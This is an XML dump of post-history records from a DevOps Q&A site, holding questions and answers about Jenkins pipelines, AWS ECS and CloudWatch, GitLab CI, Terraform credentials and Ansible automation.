  <row Id="43299" PostHistoryTypeId="1" PostId="13752" RevisionGUID="c81bd0d1-de8e-4a50-a1a5-e7ad231b0095" CreationDate="2021-04-21T09:58:19.303" UserId="26952" Text="Continuous Deployment with jenkins" ContentLicense="CC BY-SA 4.0" />
  <row Id="43300" PostHistoryTypeId="3" PostId="13752" RevisionGUID="c81bd0d1-de8e-4a50-a1a5-e7ad231b0095" CreationDate="2021-04-21T09:58:19.303" UserId="26952" Text="&lt;docker&gt;&lt;jenkins&gt;&lt;docker-compose&gt;&lt;dockerfile&gt;&lt;spring-boot&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="43301" PostHistoryTypeId="2" PostId="13753" RevisionGUID="8e87af39-6237-4e35-907d-69481786062b" CreationDate="2021-04-21T10:14:06.147" UserId="27259" Text="I’m trying to add new nodes (linux servers) to my cluster but I have to first configure my nodes properly, i.e. setting up the firewall, closing ports, disabling password login, setting up git,  etc… This is all very time consuming and can go wrong easily due to human mistakes. How do I automatize this process ideally? What tools are used for this? I read about Terraform, Ansible,  but I feel kinda lost with all those different technologies. My desired result would be whenever I buy a new VPS, I run a script (or connect it to a master node) and then configuration happens based on a template or so&#xD;&#xA;&#xD;&#xA;Thanks in advance" ContentLicense="CC BY-SA 4.0" />
  <row Id="43302" PostHistoryTypeId="1" PostId="13753" RevisionGUID="8e87af39-6237-4e35-907d-69481786062b" CreationDate="2021-04-21T10:14:06.147" UserId="27259" Text="How to automatize initial server configuration?" ContentLicense="CC BY-SA 4.0" />
  <row Id="43303" PostHistoryTypeId="3" PostId="13753" RevisionGUID="8e87af39-6237-4e35-907d-69481786062b" CreationDate="2021-04-21T10:14:06.147" UserId="27259" Text="&lt;configuration&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="43304" PostHistoryTypeId="2" PostId="13754" RevisionGUID="efffdd3c-6dda-4525-8116-570aeaa928c5" CreationDate="2021-04-21T12:34:53.817" UserId="24877" Text="My question is how setup Python Netconf script (wich you can see bellow) to connect to Multiple network devices instead of just one device? Any help would be highly appreciated.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;from ncclient import manager&#xD;&#xA;import xml.dom.minidom&#xD;&#xA;&#xD;&#xA;# IOS XE Settings&#xD;&#xA;ios_xe_host = &quot;192.168.255.141&quot;&#xD;&#xA;ios_xe_port = 830&#xD;&#xA;ios_xe_username = &quot;cisco&quot;&#xD;&#xA;ios_xe_password = &quot;cisco&quot;&#xD;&#xA;&#xD;&#xA;m = manager.connect(&#xD;&#xA;    host=ios_xe_host,&#xD;&#xA;    port=ios_xe_port,&#xD;&#xA;    username=ios_xe_username,&#xD;&#xA;    password=ios_xe_password,&#xD;&#xA;    hostkey_verify=False,&#xD;&#xA;    look_for_keys=False&#xD;&#xA;)&#xD;&#xA;&#xD;&#xA;netconf_filter = &quot;&quot;&quot;&#xD;&#xA;&lt;filter&gt;&#xD;&#xA;  &lt;interfaces xmlns=&quot;urn:ietf:params:xml:ns:yang:ietf-interfaces&quot;&gt;&#xD;&#xA;    &lt;interface&gt;&lt;/interface&gt;&#xD;&#xA;  &lt;/interfaces&gt;&#xD;&#xA;&lt;/filter&gt;&quot;&quot;&quot;&#xD;&#xA;&#xD;&#xA;netconf_reply = m.get_config(&quot;running&quot;, filter=netconf_filter)&#xD;&#xA;&#xD;&#xA;print(xml.dom.minidom.parseString(netconf_reply.xml).toprettyxml())&#xD;&#xA;&#xD;&#xA;m.close_session()&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="43305" PostHistoryTypeId="1" PostId="13754" RevisionGUID="efffdd3c-6dda-4525-8116-570aeaa928c5" CreationDate="2021-04-21T12:34:53.817" UserId="24877" Text="How to setup Python Netconf_script to connect to Multiple network devices?" ContentLicense="CC BY-SA 4.0" />
  <row Id="43306" PostHistoryTypeId="3" PostId="13754" RevisionGUID="efffdd3c-6dda-4525-8116-570aeaa928c5" CreationDate="2021-04-21T12:34:53.817" UserId="24877" Text="&lt;python&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="43307" PostHistoryTypeId="2" PostId="13755" RevisionGUID="4f8ea3bb-db31-4ded-8ff0-7b14e006a6e9" CreationDate="2021-04-21T13:05:52.713" UserId="27214" Text="There are several ways for exporting logs from CloudWatch in searchable text format:&#xD;&#xA;&#xD;&#xA;The easiest way of downloading logs in text format is to go to a log group -&gt; Select a log stream -&gt; go to **Actions** and select **Download search results as CSV**:&#xD;&#xA;&#xD;&#xA;[![enter image description here][1]][1]&#xD;&#xA;&#xD;&#xA;This will download the logs in a `.csv` format which may or may not be what we want, nevertheless I think it is good for searching a analysis. &#xD;&#xA;&#xD;&#xA;A more involved way to export logs would be to select a log group and from the **Actions** and for that log group select **Export Data to S3**:&#xD;&#xA;&#xD;&#xA;[![enter image description here][2]][2]&#xD;&#xA;&#xD;&#xA;This may export every stream from the log group to an S3 bucket, from which we can download the logs in text format. In order to be able to write to an S3 bucket, we need a policy. There is a full documentation on the AWS [docs](https://docs.aws.amazon.com/AmazonCloudWatch/latest/logs/S3ExportTasks.html) about how to do this.&#xD;&#xA;&#xD;&#xA;I need to mention the CloudWatch provides a way to analyze logs without being able to export them by using CloudWatch Logs Insights. CloudWatch Logs Insights has its own [query language](https://docs.aws.amazon.com/AmazonCloudWatch/latest/logs/CWL_QuerySyntax.html).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/1G7f4.png&#xD;&#xA;  [2]: https://i.stack.imgur.com/o9XbJ.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="43308" PostHistoryTypeId="2" PostId="13756" RevisionGUID="70f934c8-c649-4751-b3ad-6d52d989f7a3" CreationDate="2021-04-21T13:10:28.143" UserId="25811" Text="I've setup a cluster on AWS ECS, it's hosting nginx and a webapp.&#xD;&#xA;&#xD;&#xA;I've used these commands to create my resources&#xD;&#xA;&#xD;&#xA;    aws ecr create-repository --repository-name &lt;repo-name&gt;&#xD;&#xA;&#xD;&#xA;    ecs-cli configure --cluster &lt;cluster-name&gt; --region eu-west-3 --config-name &lt;conf-name&gt; --cfn-stack-name &lt;stack-name&gt; --default-launch-type EC2&#xD;&#xA;&#xD;&#xA;    ecs-cli up --keypair &lt;keypair&gt; --capability-iam --size 1 --instance-type t2.medium --cluster-config &lt;conf-name&gt;&#xD;&#xA;&#xD;&#xA;    docker-compose build&#xD;&#xA;&#xD;&#xA;    docker-compose push&#xD;&#xA;&#xD;&#xA;    ecs-cli compose up --cluster-config &lt;conf-name&gt;&#xD;&#xA;&#xD;&#xA;I've also setup a service in that cluster connected to the task created above.&#xD;&#xA;&#xD;&#xA;My goal is to be able to push the docker images (That already works) and then use some command to get ECS to fetch the new images and load them up (this is where I'm stuck). I have to do this through the CLI since I want to automate this later on.&#xD;&#xA;&#xD;&#xA;My question is:&#xD;&#xA;Should I just delete the running task so that the service will replace it? This works if I do it in the AWS Management console. But it causes downtime of my webservice.&#xD;&#xA;&#xD;&#xA;Another options is to use the command below which I found [here][1]:&#xD;&#xA;&#xD;&#xA;    aws ecs update-service --cluster &lt;cluster name&gt; --service &lt;service name&gt; --force-new-deployment&#xD;&#xA;&#xD;&#xA;However, when I run that command I get this error:&#xD;&#xA;&#xD;&#xA;    EVENTS  2021-04-21T05:32:45.842000-07:00        2c47e2c0-3a76-4dc1-bfef-21392b65871b    (service &lt;service-name&gt;) was unable to place a task because no container instance met all of its requirements. The closest matching (container-instance 25785de8f80041e0afd7b0adfda5f2fa) is already using a port required by your task. For more information, see the Troubleshooting section of the Amazon ECS Developer Guide.&#xD;&#xA;    EVENTS  2021-04-21T05:29:11.592000-07:00        4279fb7c-9c36-477b-acb3-173edb8e2c31    (service &lt;service-name&gt;) has reached a steady state.&#xD;&#xA;&#xD;&#xA;I'm guessing it can't create another EC2 instance because I've set the number of instances to 1 on creation of my cluster. But I tried with 2 instances and it seems overkill to have two instances up and running all the time. How can I achieve this?&#xD;&#xA;&#xD;&#xA;  [1]: https://stackoverflow.com/questions/34840137/how-do-i-deploy-updated-docker-images-to-amazon-ecs-tasks" ContentLicense="CC BY-SA 4.0" />
  <row Id="43309" PostHistoryTypeId="1" PostId="13756" RevisionGUID="70f934c8-c649-4751-b3ad-6d52d989f7a3" CreationDate="2021-04-21T13:10:28.143" UserId="25811" Text="AWS ECS Update with new docker image" ContentLicense="CC BY-SA 4.0" />
  <row Id="43310" PostHistoryTypeId="3" PostId="13756" RevisionGUID="70f934c8-c649-4751-b3ad-6d52d989f7a3" CreationDate="2021-04-21T13:10:28.143" UserId="25811" Text="&lt;docker&gt;&lt;amazon-web-services&gt;&lt;amazon-ecs&gt;&lt;aws-ecr&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="43311" PostHistoryTypeId="4" PostId="12978" RevisionGUID="abfc9614-8baa-48b3-9a0d-819e4ddcfd3a" CreationDate="2021-04-21T13:36:47.300" UserId="707" Comment="edited title" Text="How I can retrieve aws lambda cloudwatch logs in txt format so I can search on them?" ContentLicense="CC BY-SA 4.0" />
  <row Id="43312" PostHistoryTypeId="2" PostId="13757" RevisionGUID="c03706de-29db-4061-ae46-5f254f850ca4" CreationDate="2021-04-21T13:38:11.957" UserId="27265" Text="AWS container service team member here. IF you are still early on in your journey to automate this via a CLI I would suggest you consider moving past the `ecs-cli`. The follow-on version of this CLI is called [AWS Copilot](https://aws.github.io/copilot-cli/) and has more sophistication to implement those workflows. Note that Copilot dropped support for `docker compose` because we have implemented a native integration with Docker and the new `docker compose cli`. You can read more [here](https://aws.amazon.com/blogs/containers/deploy-applications-on-amazon-ecs-using-docker-compose/) and [here](https://aws.amazon.com/blogs/containers/automated-software-delivery-using-docker-compose-and-amazon-ecs/)." ContentLicense="CC BY-SA 4.0" />
  <row Id="43313" PostHistoryTypeId="2" PostId="13758" RevisionGUID="7bde1d2d-97c8-4ab1-8ae2-552a13cf5424" CreationDate="2021-04-21T14:38:53.153" UserId="27266" Text="You are not able to create multiple `.gitlab-ci.yml` but you can manage to have what you want.&#xD;&#xA;&#xD;&#xA;You currently have multiple software in the same repository with the same CI/CD Pipeline or jobs for your softwares.&#xD;&#xA;&#xD;&#xA;You can use `include` in order to include local files from your repository, so you would get&#xD;&#xA;```yaml&#xD;&#xA;include:&#xD;&#xA;  - local: 'my_folder/.gitlab-ci.yml'&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;You can reach the generic way you want by using [Gitlab Variables](https://docs.gitlab.com/ee/ci/variables/) and [extends](https://docs.gitlab.com/ee/ci/yaml/#extends). &#xD;&#xA;&#xD;&#xA;Basically, you would end up with something like the following:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;## my_folder/build.yml&#xD;&#xA;# the `.` (dot) before build means that we don't want it run alone, we must&#xD;&#xA;# extends to run this part&#xD;&#xA;.build:&#xD;&#xA;  variables:&#xD;&#xA;    SOFTWARE_ROOT: &quot;&quot;&#xD;&#xA;  script:&#xD;&#xA;    - build ${SOFTWARE_ROOT}&#xD;&#xA;&#xD;&#xA;## .gitlab-ci.yml&#xD;&#xA;include:&#xD;&#xA;  - local: 'my_folder/build.yml'&#xD;&#xA;&#xD;&#xA;my_first_build:&#xD;&#xA;  extends: .build&#xD;&#xA;  variables:&#xD;&#xA;   SOFTWARE_ROOT: &quot;first_software/&quot;&#xD;&#xA;&#xD;&#xA;my_second_build:&#xD;&#xA;  extends: .build&#xD;&#xA;  variables:&#xD;&#xA;    SOFTWARE_ROOT: &quot;second_software/&quot;&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;You can also put everything in the same file.&#xD;&#xA;&#xD;&#xA;This way you only declare your build job once for all." ContentLicense="CC BY-SA 4.0" />
  <row Id="43315" PostHistoryTypeId="2" PostId="13759" RevisionGUID="62e43777-5463-4e64-8328-2ed1819fd2ad" CreationDate="2021-04-21T15:48:07.837" UserId="17758" Text="Working off of the existing answers and the Jenkins [example documentation][1] I came up with the following nested parallel solution. The [Stage View (2.19)][2] plugin and [Blue Ocean (1.24.5)][3] do not display them as you would hope, so I used the [Groovy Postbuild (2.5)][4] plugin (whitelisted) to show a result summary on the build page of the Classic View (the Badge plugin may work as well).&#xD;&#xA;&#xD;&#xA;Current environment is using Jenkins LTS 2.277.2, a main &quot;trigger&quot; job, and 4 downstream jobs that build the pieces of my application, all of which are Multibranch pipelines.&#xD;&#xA;&#xD;&#xA;I added a method to trigger my downstream Multibranch Pipeline jobs, since they all do the same thing. This is at the end of my Jenkinsfile.&#xD;&#xA;&#xD;&#xA;```groovy&#xD;&#xA;// In case you want to work on the results of the downstream jobs&#xD;&#xA;buildResults = []&#xD;&#xA;&#xD;&#xA;// Common code to trigger a downstream job&#xD;&#xA;// Outputs a URL that you can follow in Blue Ocean and Classic View&#xD;&#xA;def performTriggerJob(String jobID) {&#xD;&#xA;    // We need to wrap what we return in a Groovy closure, or else it's invoked&#xD;&#xA;    // when this method is called, not when we pass it to parallel.&#xD;&#xA;    // To do this, you need to wrap the code below in { }, and either return&#xD;&#xA;    // that explicitly, or use { -&gt; } syntax.&#xD;&#xA;    return {&#xD;&#xA;        GIT_BRANCH_FIXUP = env.BRANCH_NAME.replace(&quot;/&quot;,&quot;%2F&quot;)&#xD;&#xA;        // propagate: false so we can work after it returns. Try/catch will also work&#xD;&#xA;        res = build( job: &quot;../${jobID}/${GIT_BRANCH_FIXUP}&quot;, propagate: false)&#xD;&#xA;        echo &quot;${jobID}: ${res.getResult()} - ${res.buildVariables.get('RUN_DISPLAY_URL')}&quot;&#xD;&#xA;        // Add to buildResults&#xD;&#xA;        buildResults &lt;&lt; res&#xD;&#xA;&#xD;&#xA;        text = &quot;Downstream Run Result: &lt;a href=\&quot;${res.buildVariables.get('RUN_DISPLAY_URL')}\&quot;&gt;${jobID} - ${res.getResult()}&lt;/a&gt;&quot;&#xD;&#xA;&#xD;&#xA;        if (res.getResult().equals(&quot;SUCCESS&quot;)) {&#xD;&#xA;            manager.createSummary(&quot;green.gif&quot;).appendText(text)&#xD;&#xA;        } else {&#xD;&#xA;            manager.createSummary(&quot;red.png&quot;).appendText(text)&#xD;&#xA;            error 'JOB FAILED' // this fails the stage&#xD;&#xA;        }&#xD;&#xA;    }&#xD;&#xA;}&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Then in the main pipeline of the main Triggering job, I use `script` blocks to start the nested parallel jobs.&#xD;&#xA;&#xD;&#xA;```groovy&#xD;&#xA;pipeline {&#xD;&#xA;agent any&#xD;&#xA;stages {&#xD;&#xA;stage('Build Nested parallel') {&#xD;&#xA;   steps {&#xD;&#xA;      script {&#xD;&#xA;         // Runs all these builds in parallel, the 2 nested Jobs&#xD;&#xA;         // have a requirement on the cmake build, but can also run in&#xD;&#xA;         // parallel after that finishes. Declarative cannot nest, but&#xD;&#xA;         // Scripted can.&#xD;&#xA;&#xD;&#xA;         // This is a map of 'name': action&#xD;&#xA;         // performTriggerJob returns a Closure which is why this is just a method &quot;call&quot;&#xD;&#xA;         // as Groovy will invoke .call() on parallel 'actions' automatically&#xD;&#xA;         def builds = [&#xD;&#xA;            &quot;subJob1&quot;: performTriggerJob('subJob1'),&#xD;&#xA;            &quot;subJob2&quot;: performTriggerJob('subJob2'),&#xD;&#xA;            &quot;subJob3&quot;: { script {&#xD;&#xA;               // Since we have more work to do than just trigger a job,&#xD;&#xA;               // we have to .call() this Closure directly in the script block to get it to run&#xD;&#xA;               performTriggerJob('subJob3').call()&#xD;&#xA;&#xD;&#xA;               // You can also pass a map directly into the parallel &#xD;&#xA;               parallel (&#xD;&#xA;                  'nestedJob1': performTriggerJob('nestedJob1'),&#xD;&#xA;                  'nestedJob2': performTriggerJob('nestedJob2')&#xD;&#xA;               )&#xD;&#xA;            } }&#xD;&#xA;         ]&#xD;&#xA;         parallel builds&#xD;&#xA;      }&#xD;&#xA;   }&#xD;&#xA;}&#xD;&#xA;// Other stages&#xD;&#xA;}&#xD;&#xA;}&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Since `performTriggerJob` adds the results of the jobs to the variable `buildResults` we can do something with all the results once everything is done. I copy all artifacts from the last successful build and then zip them up so they're available on the trigger job.&#xD;&#xA;&#xD;&#xA;`buildResults` is a list of (what I believe are) [RunWrapper][5] objects, so the methods in this javadoc are what you can call on this object.&#xD;&#xA;&#xD;&#xA;```groovy&#xD;&#xA;// Other stages&#xD;&#xA;stage(&quot;Post steps&quot;) {&#xD;&#xA;steps {&#xD;&#xA;script {&#xD;&#xA;   for( finishedBuildObj in buildResults ) {&#xD;&#xA;      // Obj to use. Could be this build or the last successful build&#xD;&#xA;      buildObj       = finishedBuildObj&#xD;&#xA;      projectName    = buildObj.getFullProjectName()&#xD;&#xA;      if (buildObj.getResult() != &quot;SUCCESS&quot;) {&#xD;&#xA;         buildObj = buildObj.getPreviousSuccessfulBuild()&#xD;&#xA;      }&#xD;&#xA;      copyArtifacts(&#xD;&#xA;         projectName: projectName,&#xD;&#xA;         // Allow this build to continue even if no build is found matching the &quot;Which build&quot; condition,&#xD;&#xA;         // the build's workspace does not exist or is inaccessible, or no artifacts are found matching the specified pattern.&#xD;&#xA;         // By default this build step fails the build if no artifacts are copied.&#xD;&#xA;         optional: true,&#xD;&#xA;         // Ignore the directory structure of the artifacts in the source project and copy all matching artifacts directly into the specified target directory.&#xD;&#xA;         // By default the artifacts are copied in the same directory structure as the source project.&#xD;&#xA;         flatten: true,&#xD;&#xA;         // Target base directory for copy, or leave blank to use the workspace.&#xD;&#xA;         // Directory (and parent directories, if any) will be created if needed.&#xD;&#xA;         //May contain references to build parameters like $PARAM.&#xD;&#xA;         target: 'allArtifacts',&#xD;&#xA;         fingerprintArtifacts: true,&#xD;&#xA;         // How to select the build to copy artifacts from, such as latest successful or stable build, or latest &quot;keep forever&quot; build. Other plugins may provide additional selections.&#xD;&#xA;         // The build number of the selected build will be recorded in the environment for later build steps to reference. For details, see the help of &quot;Result variable suffix&quot; in &quot;Advanced&quot; section.&#xD;&#xA;         selector: specific(buildObj.getNumber().toString())&#xD;&#xA;      )&#xD;&#xA;   }&#xD;&#xA;}}}&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.jenkins.io/doc/pipeline/examples/#parallel-from-grep&#xD;&#xA;  [2]: https://plugins.jenkins.io/pipeline-stage-view&#xD;&#xA;  [3]: https://plugins.jenkins.io/blueocean&#xD;&#xA;  [4]: https://plugins.jenkins.io/groovy-postbuild/&#xD;&#xA;  [5]: https://javadoc.jenkins.io/plugin/workflow-support/org/jenkinsci/plugins/workflow/support/steps/build/RunWrapper.html" ContentLicense="CC BY-SA 4.0" />
  <row Id="43316" PostHistoryTypeId="2" PostId="13760" RevisionGUID="36f1ecfe-2986-4d02-b241-a7efea651a88" CreationDate="2021-04-21T21:29:22.903" UserId="25042" Text="I am using an ansible playbook to deploy a php web application in aws.  The deployment is repeated many times, with a different environment, for each customer.  The different scenarios range from single server deployments to full deployments using elastic load balancers, and use varying code repositories based on product type.&#xD;&#xA;&#xD;&#xA;To allow a human to deploy this app repetitively and adjust the deployment type and environment, I am running `ansible-playbook` with `--extra-vars &quot;@deployment_vars_file.yml&quot;` and copying and filling this vars file on a per-deployment basis, instead of putting the variables in `group_vars/all.yml`, so that I can keep a copy of the variable space I set for each deployment, and avoid overwriting (or .template suffixing) `group_vars/all.yml` and multiple roles' `vars/main.yml` files, for each deployment.  I rarely rely on variable precedence, since the role and play variables inherit (are constructed out of) my deployment vars file variables.&#xD;&#xA;&#xD;&#xA;My roles are already run conditionally at the play level, and I have a handle on how to run tasks/blocks/roles/plays conditionally, depending on the environment type that is defined in the `--extra-vars` file.&#xD;&#xA;&#xD;&#xA;I need to define many **other** variables, dynamically (during the playbook run), conditionally (based on the values of variables in my `--extra-vars` file), with as little work as possible (i.e., in one place), at the beginning of the playbook.  My roles' `vars/main.yml` files, as well as `vars:` play keywords, will inherit these other variables, (in addition to directly inheriting some of the `--extra-vars` variables).  *The values of these other variables need to persist at the playbook level, not just within each play.* I don't want to have to do this in multiple locations with the same lines of code.&#xD;&#xA;&#xD;&#xA;How can I do this, and what is the most simple way?&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="43317" PostHistoryTypeId="1" PostId="13760" RevisionGUID="36f1ecfe-2986-4d02-b241-a7efea651a88" CreationDate="2021-04-21T21:29:22.903" UserId="25042" Text="ansible-playbook: how to dynamically, conditionally set a large deployment environment (variable space) in a playbook?" ContentLicense="CC BY-SA 4.0" />
  <row Id="43318" PostHistoryTypeId="3" PostId="13760" RevisionGUID="36f1ecfe-2986-4d02-b241-a7efea651a88" CreationDate="2021-04-21T21:29:22.903" UserId="25042" Text="&lt;amazon-web-services&gt;&lt;ansible&gt;&lt;amazon-ec2&gt;&lt;deployment&gt;&lt;php&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="43319" PostHistoryTypeId="5" PostId="4181" RevisionGUID="7a86165f-7928-4ba2-9017-a771ddfddcca" CreationDate="2021-04-22T05:17:22.303" UserId="-1" Comment="Added an example for using the newusers command" Text="To answer your question: No, as of now Ansible can't run loops in parallel.&#xD;&#xA;&#xD;&#xA;I'd use [`newusers`][1] instead, which is made for bulk user creation. Create a file with all users in it, copy it over to the host, and run `newusers /path/to/user/list` in a `command` or `shell` task.&#xD;&#xA;&#xD;&#xA;For example:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;- name: Create multiple users&#xD;&#xA;  shell: newusers /path/to/user/list &amp;&amp; touch /path/to/user/ansible-users-added&#xD;&#xA;  args:&#xD;&#xA;    creates: /path/to/user/ansible-users-added&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;  [1]: https://linux.die.net/man/8/newusers" ContentLicense="CC BY-SA 4.0" />
  <row Id="43320" PostHistoryTypeId="24" PostId="4181" RevisionGUID="7a86165f-7928-4ba2-9017-a771ddfddcca" CreationDate="2021-04-22T05:17:22.303" Comment="Proposed by 202.36.96.210|0b1c86a3-e2f5-4a71-8c5a-a46d341af3ac approved by 739, 40 edit id of 1368" ContentLicense="CC BY-SA 4.0" />
  <row Id="43324" PostHistoryTypeId="2" PostId="13762" RevisionGUID="4fd99f1d-d38d-4c79-bdb8-3d562c6bc74e" CreationDate="2021-04-22T09:26:01.573" UserId="27282" Text="I am trying to set up a pipeline, which is supposed to deploy terraform code into an aws account. The code works fine locally, and I have setup and imported the state bucket and dynamodb table which enables state locking. &#xD;&#xA;&#xD;&#xA;However, when I run the code in a gitlab ci, I get the following error message:&#xD;&#xA;&#xD;&#xA;&gt; Error: error configuring S3 Backend: no valid credential sources for S3 Backend found.&#xD;&#xA;│ &#xD;&#xA;│ Please see https://www.terraform.io/docs/language/settings/backends/s3.html&#xD;&#xA;│ for more information about providing credentials.&#xD;&#xA;│ &#xD;&#xA;│ Error: NoCredentialProviders: no valid providers in chain. Deprecated.&#xD;&#xA;│ 	For verbose messaging see aws.Config.CredentialsChainVerboseErrors&#xD;&#xA;&#xD;&#xA;I export the aws credentials as variables in the before_script like so:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;before_script:&#xD;&#xA;  - rm -rf .terraform&#xD;&#xA;  - terraform --version&#xD;&#xA;  - export AWS_ACCESS_KEY_ID&#xD;&#xA;  - export AWS_ROLE_ARN&#xD;&#xA;  - export AWS_DEFAULT_REGION&#xD;&#xA;  - export AWS_ROLE_ARN&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Is there another step that I am missing, or do I maybe have to include the credential variables in the terraform code?" ContentLicense="CC BY-SA 4.0" />
  <row Id="43325" PostHistoryTypeId="1" PostId="13762" RevisionGUID="4fd99f1d-d38d-4c79-bdb8-3d562c6bc74e" CreationDate="2021-04-22T09:26:01.573" UserId="27282" Text="Do I have to include gitlab variables in my terraform code in order for my credentials to be recognized?" ContentLicense="CC BY-SA 4.0" />
  <row Id="43326" PostHistoryTypeId="3" PostId="13762" RevisionGUID="4fd99f1d-d38d-4c79-bdb8-3d562c6bc74e" CreationDate="2021-04-22T09:26:01.573" UserId="27282" Text="&lt;continuous-integration&gt;&lt;terraform&gt;&lt;gitlab&gt;&lt;gitlab-ci-runner&gt;&lt;continuous-delivery&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="43327" PostHistoryTypeId="2" PostId="13763" RevisionGUID="73d3e8cf-21bb-4c75-85d7-8f84b573b3e2" CreationDate="2021-04-22T09:49:26.097" UserId="27282" Text="The answer to this question is no. I merely forgot to export the AWS_SECRET_ACCESS_KEY variable in the before_script section." ContentLicense="CC BY-SA 4.0" />
  <row Id="43328" PostHistoryTypeId="2" PostId="13764" RevisionGUID="fc4a1f21-0690-4be6-bcf3-007b8b6e8ad0" CreationDate="2021-04-22T10:13:39.497" UserId="27283" Text="SSH into the instance and add the script that will collect the inode usage and send metrics to the alarm&#xD;&#xA;&#xD;&#xA;    !/bin/bash&#xD;&#xA;    USAGE=80&#xD;&#xA;    INODE_USED=$(df -ih | sed -n '4p'| awk '{print $5}'| grep -v U | cut -d% -f1)&#xD;&#xA;    aws cloudwatch put-metric-data --metric-name inode-usage --dimensions Instance=&lt;Instance id&gt;  --namespace &quot;Custom&quot; --value $INODE_USED&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="43329" PostHistoryTypeId="50" PostId="13586" RevisionGUID="cd045d11-24e2-417d-bf81-f85900c0aefe" CreationDate="2021-04-22T15:40:33.673" UserId="-1" />
  <row Id="43330" PostHistoryTypeId="2" PostId="13765" RevisionGUID="d68adfac-aba3-4cdc-9587-282ce23fa76b" CreationDate="2021-04-22T16:25:18.243" UserId="9148" Text="I have a config file that's in YAML format, which includes this relevant portion:&#xD;&#xA;&#xD;&#xA;    project:&#xD;&#xA;      protectedBranches:&#xD;&#xA;        - master&#xD;&#xA;        - develop&#xD;&#xA;        - feature/something&#xD;&#xA;&#xD;&#xA;In my Jenkinsfile, the YAML file is loaded via: `config = readYaml('config.yml')`.&#xD;&#xA;&#xD;&#xA;I also have `env.GIT_BRANCH = env.gitlabSourceBranch` which results in `env.GIT_BRANCH` containing the value `origin/feature/something`&#xD;&#xA;&#xD;&#xA;The `config.project.protectedBranches` is of type `ArrayList()`&#xD;&#xA;&#xD;&#xA;I am attempting to do something based on whether `env.GIT_BRANCH` exists in the `config.project.protectedBranches`, but none of the following have worked.&#xD;&#xA;&#xD;&#xA;    def shortBranch = env.GIT_BRANCH&#xD;&#xA;    shortBranch = shortBranch.minus(&quot;origin/&quot;)&#xD;&#xA;    // shortBranch now has a value of feature/something&#xD;&#xA;&#xD;&#xA;    if(shortBranch in config.project.protectedBranches) // returns false&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Also...&#xD;&#xA;&#xD;&#xA;    config.project.protectedBranches.each{ branch -&gt;&#xD;&#xA;        echo &quot;Does branch match shortBranch? ${branch.equals(shortBranch)}&quot; // returns false&#xD;&#xA;        echo &quot;Does branch match shortBranch? ${branch == shortBranch}&quot; // also returns false&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;Both `branch` and `shortBranch` are of type `String`. Why on Earth can I not compare these strings?&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="43331" PostHistoryTypeId="1" PostId="13765" RevisionGUID="d68adfac-aba3-4cdc-9587-282ce23fa76b" CreationDate="2021-04-22T16:25:18.243" UserId="9148" Text="Jenkins String unable to match String from YAML file" ContentLicense="CC BY-SA 4.0" />
  <row Id="43332" PostHistoryTypeId="3" PostId="13765" RevisionGUID="d68adfac-aba3-4cdc-9587-282ce23fa76b" CreationDate="2021-04-22T16:25:18.243" UserId="9148" Text="&lt;jenkins&gt;&lt;yaml&gt;&lt;groovy&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="43333" PostHistoryTypeId="2" PostId="13766" RevisionGUID="16934e64-0950-401b-b1d3-19e191dbfb33" CreationDate="2021-04-22T16:32:51.103" UserId="15792" Text="Your next step will be to identify a solution for *container orchestration*.  For a quick dev test solution, you could host your [own docker registry][1], push your built image to the registry, and add a deployment step that stops the existing container and spins up a new one from your registry.&#xD;&#xA;&#xD;&#xA;However, in a production setting there are many other aspects to consider such as downtime, versioning, security, etc.  There are several products and tools that are designed to handle containers such as [AWS Elastic Container Solution (ECS)][2], [Kubernetes][3].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.docker.com/registry/&#xD;&#xA;  [2]: https://aws.amazon.com/ecs/?whats-new-cards.sort-by=item.additionalFields.postDateTime&amp;whats-new-cards.sort-order=desc&amp;ecs-blogs.sort-by=item.additionalFields.createdDate&amp;ecs-blogs.sort-order=desc&#xD;&#xA;  [3]: https://kubernetes.io/" ContentLicense="CC BY-SA 4.0" />
  <row Id="43334" PostHistoryTypeId="2" PostId="13767" RevisionGUID="2929bf82-d377-47ee-9a05-55d832616338" CreationDate="2021-04-22T16:40:45.167" UserId="15792" Text="What you are trying to accomplish is referred to as *[infrastructure as code][1]*.  &#xD;&#xA;&#xD;&#xA;Which tools you select will depend on where you are operating, and what your business needs are.  If you are operating in AWS exclusively, you can skip 3rd party solutions and focus on their [CloudFormation][2] service.  Terraform (infrastructure) and Ansible (configuration) are popular cloud agnostic tools if you are operating On-Prem or across multiple cloud providers.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.microsoft.com/en-us/azure/devops/learn/what-is-infrastructure-as-code&#xD;&#xA;  [2]: https://aws.amazon.com/cloudformation/" ContentLicense="CC BY-SA 4.0" />
